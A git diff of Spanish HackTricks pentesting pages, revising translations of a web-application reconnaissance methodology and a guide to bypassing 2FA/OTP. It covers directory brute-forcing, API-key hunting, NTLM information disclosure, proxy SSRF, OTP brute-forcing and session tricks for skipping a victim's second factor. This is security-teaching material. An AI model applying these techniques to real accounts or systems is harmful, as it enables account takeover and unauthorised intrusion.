* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -14,7 +14,7 @@
|
|||
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">
|
||||
|
||||
**Consejo de recompensa por errores**: **regístrate** en **Intigriti**, una plataforma premium de **recompensas por errores creada por hackers, para hackers**. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo y comienza a ganar recompensas de hasta **$100,000**!
|
||||
**Consejo para recompensas por errores**: **regístrate** en **Intigriti**, una plataforma premium de **recompensas por errores creada por hackers, para hackers**. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo y comienza a ganar recompensas de hasta **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
@ -160,7 +160,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
|||
```
|
||||
> En este punto, ya deberías tener alguna información sobre el servidor web utilizado por el cliente (si se proporciona algún dato) y algunos trucos a tener en cuenta durante la prueba. Si tienes suerte, incluso has encontrado un CMS y ejecutado algún escáner.
|
||||
|
||||
## Descubrimiento paso a paso de la aplicación web
|
||||
## Descubrimiento paso a paso de aplicaciones web
|
||||
|
||||
> A partir de este punto, vamos a comenzar a interactuar con la aplicación web.
|
||||
|
||||
|
@ -196,7 +196,7 @@ Si descubres que **WebDav** está **habilitado** pero no tienes suficientes perm
|
|||
* Si la aplicación **no obliga al uso de HTTPS** en ninguna parte, entonces es **vulnerable a ataques de MitM**
|
||||
* Si la aplicación **envía datos sensibles (contraseñas) utilizando HTTP**, entonces es una vulnerabilidad grave.
|
||||
|
||||
Utiliza [**testssl.sh**](https://github.com/drwetter/testssl.sh) para verificar **vulnerabilidades** (en programas de recompensas por errores probablemente este tipo de vulnerabilidades no sean aceptadas) y utiliza [**a2sv**](https://github.com/hahwul/a2sv) para volver a verificar las vulnerabilidades:
|
||||
Utiliza [**testssl.sh**](https://github.com/drwetter/testssl.sh) para verificar **vulnerabilidades** (en programas de recompensas por errores probablemente no se aceptarán este tipo de vulnerabilidades) y utiliza [**a2sv**](https://github.com/hahwul/a2sv) para volver a verificar las vulnerabilidades:
|
||||
```bash
|
||||
./testssl.sh [--htmlfile] 10.10.10.10:443
|
||||
#Use the --htmlfile to save the output inside an htmlfile also
|
||||
|
@ -212,7 +212,7 @@ Información sobre vulnerabilidades de SSL/TLS:
|
|||
|
||||
### Spidering
|
||||
|
||||
Lanza algún tipo de **spider** dentro de la web. El objetivo del spider es **encontrar la mayor cantidad de rutas posibles** en la aplicación probada. Por lo tanto, se deben utilizar rastreo web y fuentes externas para encontrar la mayor cantidad de rutas válidas posible.
|
||||
Lanza algún tipo de **spider** dentro de la web. El objetivo del spider es **encontrar tantas rutas como sea posible** en la aplicación probada. Por lo tanto, se deben utilizar rastreo web y fuentes externas para encontrar tantas rutas válidas como sea posible.
|
||||
|
||||
* [**gospider**](https://github.com/jaeles-project/gospider) (go): Spider HTML, LinkFinder en archivos JS y fuentes externas (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
|
||||
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): Spider HTML, con LinkFinder para archivos JS y Archive.org como fuente externa.
|
||||
|
@ -226,22 +226,23 @@ Lanza algún tipo de **spider** dentro de la web. El objetivo del spider es **en
|
|||
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): Spider HTML, con capacidades de embellecimiento de JS capaz de buscar nuevas rutas en archivos JS. También podría valer la pena echar un vistazo a [JSScanner](https://github.com/dark-warlord14/JSScanner), que es un envoltorio de LinkFinder.
|
||||
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Para extraer puntos finales tanto en la fuente HTML como en los archivos JavaScript incrustados. Útil para cazadores de errores, equipos de red y ninjas de la seguridad de la información.
|
||||
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Un script de Python 2.7 que utiliza Tornado y JSBeautifier para analizar URLs relativas de archivos JavaScript. Útil para descubrir fácilmente solicitudes AJAX. Parece que no se mantiene.
|
||||
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dado un archivo (HTML), extraerá las URLs utilizando una expresión regular ingeniosa para encontrar y extraer las URLs relativas de archivos "feos" (minificados).
|
||||
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dado un archivo (HTML), extraerá URLs utilizando una expresión regular ingeniosa para encontrar y extraer las URLs relativas de archivos feos (minificados).
|
||||
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, varias herramientas): Recopila información interesante de archivos JS utilizando varias herramientas.
|
||||
* [**subjs**](https://github.com/lc/subjs) (go): Encuentra archivos JS.
|
||||
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Carga una página en un navegador sin cabeza e imprime todas las URLs cargadas para cargar la página.
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Herramienta de descubrimiento de contenido que combina varias opciones de las herramientas anteriores.
|
||||
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Una extensión de Burp para encontrar rutas y parámetros en archivos JS.
|
||||
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Una herramienta que, dado la URL del archivo .js.map, obtendrá el código JS embellecido.
|
||||
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Una herramienta que, dada la URL .js.map, obtendrá el código JS embellecido.
|
||||
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Esta es una herramienta utilizada para descubrir puntos finales para un objetivo dado.
|
||||
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Descubre enlaces de la máquina del pasado (también descargando las respuestas en el pasado y buscando más enlaces).
|
||||
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Rastrea (incluso rellenando formularios) y también encuentra información sensible utilizando expresiones regulares específicas.
|
||||
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite es un avanzado rastreador/spider de seguridad web con múltiples funciones diseñado para profesionales de la ciberseguridad.
|
||||
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite es una avanzada herramienta de rastreo/araña de seguridad web con múltiples funciones diseñada para profesionales de la ciberseguridad.
|
||||
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): Es un paquete de Go y una herramienta de línea de comandos para extraer URLs, rutas, secretos y otros datos interesantes del código fuente de JavaScript.
|
||||
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge es una sencilla extensión de **Burp Suite** para extraer los parámetros y puntos finales de la solicitud y crear una lista personalizada de palabras para el fuzzing y la enumeración.
|
||||
|
||||
### Fuerza bruta de directorios y archivos
|
||||
|
||||
Comienza la **fuerza bruta** desde la carpeta raíz y asegúrate de realizar la fuerza bruta en **todos** los **directorios encontrados** utilizando **este método** y todos los directorios **descubiertos** por el Spidering (puedes hacer esta fuerza bruta de forma **recursiva** y agregando al principio de la lista de palabras utilizadas los nombres de los directorios encontrados).\
|
||||
Comienza la **fuerza bruta** desde la carpeta raíz y asegúrate de realizar la fuerza bruta en **todos** los **directorios encontrados** utilizando **este método** y todos los directorios **descubiertos** por el **Spidering** (puedes hacer esta fuerza bruta de forma **recursiva** y agregar al principio de la lista de palabras utilizada los nombres de los directorios encontrados).\
|
||||
Herramientas:
|
||||
|
||||
* **Dirb** / **Dirbuster** - Incluido en Kali, **antiguo** (y **lento**) pero funcional. Permite certificados auto-firmados y búsqueda recursiva. Demasiado lento en comparación con las otras opciones.
|
||||
|
@ -256,11 +257,10 @@ Herramientas:
|
|||
* [**Chamaleon**](https://github.com/iustin24/chameleon): Utiliza wapalyzer para detectar las tecnologías utilizadas y seleccionar las listas de palabras a utilizar.
|
||||
|
||||
**Diccionarios recomendados:**
|
||||
|
||||
* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt)
|
||||
* [**Diccionario** de **Dirsearch** incluido](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
|
||||
* [Diccionario incluido en **Dirsearch**](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
|
||||
* [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
|
||||
* [Listas de palabras de Assetnote](https://wordlists.assetnote.io)
|
||||
* [Wordlists de Assetnote](https://wordlists.assetnote.io)
|
||||
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
|
||||
* raft-large-directories-lowercase.txt
|
||||
* directory-list-2.3-medium.txt
|
||||
|
@ -279,14 +279,14 @@ _Ten en cuenta que cada vez que se descubra un nuevo directorio durante el ataqu
|
|||
|
||||
* [**Comprobador de enlaces rotos**](https://github.com/stevenvachon/broken-link-checker): Busca enlaces rotos dentro de los archivos HTML que pueden ser propensos a ser tomados.
|
||||
* **Copias de seguridad de archivos**: Una vez que hayas encontrado todos los archivos, busca copias de seguridad de todos los archivos ejecutables ("_.php_", "_.aspx_"...). Algunas variaciones comunes para nombrar una copia de seguridad son: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp y file.old._ También puedes usar la herramienta [**bfac**](https://github.com/mazen160/bfac).
|
||||
* **Descubrir nuevos parámetros**: Puedes usar herramientas como [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **y** [**Param Miner**](https://github.com/PortSwigger/param-miner) **para descubrir parámetros ocultos. Si puedes, intenta buscar** parámetros ocultos en cada archivo web ejecutable.
|
||||
* _Todas las listas de palabras predeterminadas de Arjun:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
* _Param-miner "params":_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
* _Assetnote "parameters\_top\_1m":_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
* _nullenc0de "params.txt":_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
* **Descubrir nuevos parámetros**: Puedes usar herramientas como [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **y** [**Param Miner**](https://github.com/PortSwigger/param-miner) **para descubrir parámetros ocultos. Si puedes, también puedes intentar buscar** parámetros ocultos en cada archivo web ejecutable.
|
||||
* _Arjun todas las listas de palabras por defecto:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
* _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
* _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
* **Comentarios:** Revisa los comentarios de todos los archivos, puedes encontrar **credenciales** o **funcionalidades ocultas**.
|
||||
* Si estás jugando **CTF**, un truco "común" es **ocultar información** dentro de los comentarios en el **lado derecho** de la **página** (usando **cientos** de **espacios** para que no veas los datos si abres el código fuente con el navegador). Otra posibilidad es usar **varias líneas nuevas** y **ocultar información** en un comentario en la **parte inferior** de la página web.
|
||||
* **Claves de API**: Si **encuentras alguna clave de API**, hay una guía que indica cómo usar claves de API de diferentes plataformas: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
* Si estás jugando un **CTF**, un truco "común" es **ocultar** **información** dentro de los comentarios en el **lado derecho** de la **página** (usando **cientos** de **espacios** para que no veas los datos si abres el código fuente con el navegador). Otra posibilidad es usar **varias líneas nuevas** y **ocultar información** en un comentario en la **parte inferior** de la página web.
|
||||
* **Claves de API**: Si encuentras alguna **clave de API**, hay una guía que indica cómo usar claves de API de diferentes plataformas: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
* Claves de API de Google: Si encuentras alguna clave de API que se parezca a **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik, puedes usar el proyecto [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) para verificar a qué APIs puede acceder la clave.
|
||||
* **Buckets de S3**: Mientras haces el rastreo, verifica si algún **subdominio** o algún **enlace** está relacionado con algún **bucket de S3**. En ese caso, [**verifica** los **permisos** del bucket](buckets/).
|
||||
|
||||
|
@ -297,17 +297,17 @@ _Ten en cuenta que cada vez que se descubra un nuevo directorio durante el ataqu
|
|||
**Archivos interesantes**
|
||||
|
||||
* Busca **enlaces** a otros archivos dentro de los archivos **CSS**.
|
||||
* [Si encuentras un archivo **.git**, se puede extraer información](git.md)
|
||||
* [Si encuentras un archivo **.git** se puede extraer información](git.md)
|
||||
* Si encuentras un archivo **.env**, se pueden encontrar información como claves de API, contraseñas de bases de datos y otra información.
|
||||
* Si encuentras **puntos finales de API**, [también debes probarlos](web-api-pentesting.md). Estos no son archivos, pero probablemente "se parecerán" a ellos.
|
||||
* **Archivos JS**: En la sección de rastreo se mencionaron varias herramientas que pueden extraer rutas de archivos JS. Además, sería interesante **monitorizar cada archivo JS encontrado**, ya que en algunas ocasiones, un cambio puede indicar que se introdujo una posible vulnerabilidad en el código. Puedes usar, por ejemplo, [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
* Si encuentras **puntos finales de API**, también [deberías probarlos](web-api-pentesting.md). Estos no son archivos, pero probablemente "se parecerán" a ellos.
|
||||
* **Archivos JS**: En la sección de rastreo se mencionaron varias herramientas que pueden extraer rutas de archivos JS. Además, sería interesante **monitorear cada archivo JS encontrado**, ya que en algunas ocasiones, un cambio puede indicar que se introdujo una posible vulnerabilidad en el código. Puedes usar, por ejemplo, [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
* También debes verificar los archivos JS descubiertos con [**RetireJS**](https://github.com/retirejs/retire.js/) o [**JSHole**](https://github.com/callforpapers-source/jshole) para ver si son vulnerables.
|
||||
* **Desofuscador y desempaquetador de JavaScript:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
* **Embellecedor de JavaScript:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
* **Desofuscación de JsFuck** (javascript con caracteres: "\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
|
||||
* **Desofuscación de JsFuck** (javascript con caracteres:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
|
||||
* [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
* En varias ocasiones necesitarás **entender las expresiones regulares** utilizadas, esto será útil: [https://regex101.com/](https://regex101.com)
|
||||
* También puedes **monitorizar los archivos donde se detectaron formularios**, ya que un cambio en el parámetro o la aparición de un nuevo formulario puede indicar una nueva funcionalidad vulnerable potencial.
|
||||
* También podrías **monitorizar los archivos donde se detectaron formularios**, ya que un cambio en el parámetro o la aparición de un nuevo formulario puede indicar una nueva funcionalidad potencialmente vulnerable.
|
||||
|
||||
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
|
||||
|
||||
|
@ -317,19 +317,19 @@ _Ten en cuenta que cada vez que se descubra un nuevo directorio durante el ataqu
|
|||
|
||||
**502 Proxy Error**
|
||||
|
||||
Si alguna página **responde** con ese **código**, probablemente sea un **proxy mal configurado**. Si envías una solicitud HTTP como: `GET https://google.com HTTP/1.1` (con la cabecera del host y otras cabeceras comunes), el **proxy** intentará **acceder** a _**google.com**_ y habrás encontrado un SSRF.
|
||||
Si alguna página **responde** con ese **código**, probablemente sea un **proxy mal configurado**. **Si envías una solicitud HTTP como: `GET https://google.com HTTP/1.1`** (con la cabecera del host y otras cabeceras comunes), el **proxy** intentará **acceder** a _**google.com**_ **y habrás encontrado un** SSRF.
|
||||
|
||||
**Autenticación NTLM - Divulgación de información**
|
||||
|
||||
Si el servidor en ejecución que solicita autenticación es **Windows** o encuentras un inicio de sesión que solicita tus **credenciales** (y solicita el **nombre de dominio**), puedes provocar una **divulgación de información**.\
|
||||
Envía la **cabecera**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` y debido a cómo funciona la **autenticación NTLM**, el servidor responderá con información interna (versión de IIS, versión de Windows...) dentro de la cabecera "WWW-Authenticate".\
|
||||
**Envía** la **cabecera**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` y debido a cómo funciona la **autenticación NTLM**, el servidor responderá con información interna (versión de IIS, versión de Windows...) dentro de la cabecera "WWW-Authenticate".\
|
||||
Puedes **automatizar** esto utilizando el plugin de **nmap** "_http-ntlm-info.nse_".
|
||||
|
||||
**Redirección HTTP (CTF)**
|
||||
|
||||
Es posible **insertar contenido** dentro de una **redirección**. Este contenido **no se mostrará al usuario** (ya que el navegador ejecutará la redirección), pero algo podría estar **oculto** allí.
|
||||
|
||||
### Comprobación de vulnerabilidades web
|
||||
### Comprobación de Vulnerabilidades Web
|
||||
|
||||
Ahora que se ha realizado una enumeración exhaustiva de la aplicación web, es hora de comprobar muchas posibles vulnerabilidades. Puedes encontrar la lista de verificación aquí:
|
||||
|
||||
|
@ -339,11 +339,11 @@ Ahora que se ha realizado una enumeración exhaustiva de la aplicación web, es
|
|||
|
||||
TODO: Completa la lista de vulnerabilidades y técnicas con [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist) y [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html), [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection)
|
||||
|
||||
### Monitorizar páginas para cambios
|
||||
### Monitorizar Páginas para cambios
|
||||
|
||||
Puedes utilizar herramientas como [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) para monitorizar las páginas en busca de modificaciones que puedan introducir vulnerabilidades.
|
||||
|
||||
### Comandos automáticos de HackTricks
|
||||
### Comandos Automáticos de HackTricks
|
||||
```
|
||||
Protocol_Name: Web #Protocol Abbreviation if there is one.
|
||||
Port_Number: 80,443 #Comma separated if there is more than one.
|
||||
|
|
|
@ -1,99 +1,142 @@
|
|||
# Bypass de 2FA/OTP
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los [PLANES DE SUSCRIPCIÓN](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live).
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## **Bypass de autenticación de dos factores**
|
||||
|
||||
# **Bypass de autenticación de dos factores**
|
||||
### **Bypass directo**
|
||||
|
||||
## **Bypass directo**
|
||||
Para saltarse la autenticación de dos factores, simplemente **intenta acceder directamente al siguiente punto final** (necesitas conocer la ruta del siguiente punto final). Si esto no funciona, intenta cambiar el **encabezado Referrer** como si vinieras de la página de autenticación de dos factores.
|
||||
|
||||
Para saltarse la autenticación de dos factores, simplemente **intenta acceder directamente al siguiente endpoint** (necesitas conocer la ruta del siguiente endpoint). Si esto no funciona, intenta cambiar el **encabezado Referrer** como si vinieras de la página de autenticación de dos factores.
|
||||
### **Reutilización de token**
|
||||
|
||||
## **Reutilización de token**
|
||||
Tal vez puedas reutilizar un token previamente utilizado dentro de la cuenta para autenticarte.
|
||||
|
||||
Quizás puedas reutilizar un token previamente utilizado dentro de la cuenta para autenticarte.
|
||||
### Compartir tokens no utilizados
|
||||
|
||||
## Compartir tokens no utilizados
|
||||
Verifica si puedes obtener el token de tu cuenta y trata de usarlo para saltarte la autenticación de dos factores en una cuenta diferente.
|
||||
|
||||
Comprueba si puedes obtener el token de tu cuenta e intenta usarlo para saltarte la autenticación de dos factores en una cuenta diferente.
|
||||
### Token filtrado
|
||||
|
||||
## Token filtrado
|
||||
¿Se filtró el token en una respuesta de la aplicación web?
|
||||
|
||||
¿Se filtra el token en una respuesta de la aplicación web?
|
||||
### Enlace de verificación de correo electrónico
|
||||
|
||||
## Permiso de sesión
|
||||
Intenta usar el **enlace de verificación de correo electrónico recibido cuando se creó la cuenta** para ver si, incluso si se configuró la autenticación de dos factores, aún puedes acceder a tu perfil solo con ese enlace ([publicación](https://srahulceh.medium.com/behind-the-scenes-of-a-security-bug-the-perils-of-2fa-cookie-generation-496d9519771b)).
|
||||
|
||||
Usando la misma sesión, inicia el flujo usando tu cuenta y la cuenta de la víctima. Cuando llegues al punto de autenticación de dos factores en ambas cuentas, completa la autenticación de dos factores con tu cuenta pero no accedas a la siguiente parte. En lugar de eso, intenta acceder al siguiente paso con el flujo de la cuenta de la víctima. Si el back-end solo establece un booleano dentro de tus sesiones diciendo que has pasado la autenticación de dos factores con éxito, podrás saltarte la autenticación de dos factores de la víctima.
|
||||
### Permiso de sesión
|
||||
|
||||
## **Función de restablecimiento de contraseña**
|
||||
Usando la misma sesión, inicia el flujo utilizando tu cuenta y la cuenta de la víctima. Cuando llegues al punto de autenticación de dos factores en ambas cuentas, completa la autenticación de dos factores con tu cuenta pero no accedas a la siguiente parte. En lugar de eso, intenta acceder al siguiente paso con el flujo de la cuenta de la víctima. Si el backend solo establece un booleano dentro de tus sesiones que indique que has pasado la autenticación de dos factores con éxito, podrás saltarte la autenticación de dos factores de la víctima.
|
||||
|
||||
En casi todas las aplicaciones web, la **función de restablecimiento de contraseña inicia sesión automáticamente en la aplicación** después de que se complete el procedimiento de restablecimiento.\
|
||||
Comprueba si se envía un **correo electrónico** con un **enlace** para **restablecer la contraseña** y si puedes **reutilizar** ese **enlace** para restablecer la contraseña **tantas veces como quieras** (incluso si la víctima cambia su dirección de correo electrónico).
|
||||
### Función de restablecimiento de contraseña
|
||||
|
||||
## OAuth
|
||||
En casi todas las aplicaciones web, la función de restablecimiento de contraseña **inicia sesión automáticamente al usuario en la aplicación** después de que se complete el procedimiento de restablecimiento.\
|
||||
Verifica si se envía un **correo electrónico** con un **enlace** para **restablecer la contraseña** y si puedes **reutilizar** ese **enlace** para restablecer la contraseña tantas veces como desees (incluso si la víctima cambia su dirección de correo electrónico).
|
||||
|
||||
### OAuth
|
||||
|
||||
Si puedes comprometer la cuenta del usuario en una plataforma de **OAuth** confiable (Google, Facebook...)
|
||||
|
||||
## Fuerza bruta
|
||||
### Fuerza bruta
|
||||
|
||||
### Falta de límite de velocidad
|
||||
#### Falta de límite de velocidad
|
||||
|
||||
¿Hay algún límite en el número de códigos que puedes probar, para que puedas simplemente hacer fuerza bruta? Ten cuidado con un posible límite de velocidad "silencioso", siempre prueba varios códigos y luego el real para confirmar la vulnerabilidad.
|
||||
|
||||
### Límite de velocidad del flujo pero sin límite de velocidad
|
||||
#### Límite de flujo pero sin límite de velocidad
|
||||
|
||||
En este caso, hay un límite de velocidad del flujo (tienes que hacer fuerza bruta muy lentamente: 1 hilo y algo de tiempo de espera antes de 2 intentos) pero no hay límite de velocidad. Así que con suficiente tiempo, puedes ser capaz de encontrar el código válido.
|
||||
En este caso, hay un límite de flujo (tienes que hacer fuerza bruta muy lentamente: 1 hilo y algo de espera antes de 2 intentos) pero no hay límite de velocidad. Entonces, con suficiente tiempo, podrás encontrar el código válido.
|
||||
|
||||
### Reenviar el código y restablecer el límite
|
||||
#### Reenviar el código y restablecer el límite
|
||||
|
||||
Hay un límite de velocidad, pero cuando "reenvías el código" se envía el mismo código y se restablece el límite de velocidad. Entonces, puedes hacer fuerza bruta en el código mientras lo reenvías para que nunca se alcance el límite de velocidad.
|
||||
Hay un límite de velocidad, pero cuando "reenvías el código", se envía el mismo código y se restablece el límite de velocidad. Entonces, puedes hacer fuerza bruta en el código mientras lo reenvías para que nunca se alcance el límite de velocidad.
|
||||
|
||||
### Bypass del límite de velocidad del lado del cliente
|
||||
#### Bypass del límite de velocidad del lado del cliente
|
||||
|
||||
{% content-ref url="rate-limit-bypass.md" %}
|
||||
[rate-limit-bypass.md](rate-limit-bypass.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Falta de límite de velocidad en la cuenta del usuario
|
||||
#### Falta de límite de velocidad en la cuenta del usuario
|
||||
|
||||
A veces puedes configurar la autenticación de dos factores para algunas acciones dentro de tu cuenta (cambiar correo electrónico, contraseña...). Sin embargo, incluso en los casos en que hay un límite de velocidad cuando intentas iniciar sesión, no hay ningún límite de velocidad para proteger las acciones dentro de la cuenta.
|
||||
|
||||
### Falta de límite de velocidad al reenviar el código por SMS
|
||||
#### Falta de límite de velocidad al reenviar el código por SMS
|
||||
|
||||
No podrás saltarte la autenticación de dos factores, pero podrás gastar el dinero de la empresa.
|
||||
No podrás saltarte la autenticación de dos factores, pero podrás hacer que la empresa gaste dinero.
|
||||
|
||||
### Regeneración infinita de OTP
|
||||
#### Regeneración infinita de OTP
|
||||
|
||||
Si puedes **generar un nuevo OTP infinitas veces**, el **OTP es lo suficientemente simple** (4 números), y puedes probar hasta 4 o 5 tokens por OTP generado, simplemente puedes probar los mismos 4 o 5 tokens cada vez y generar OTP hasta que coincida con los que estás usando.
|
||||
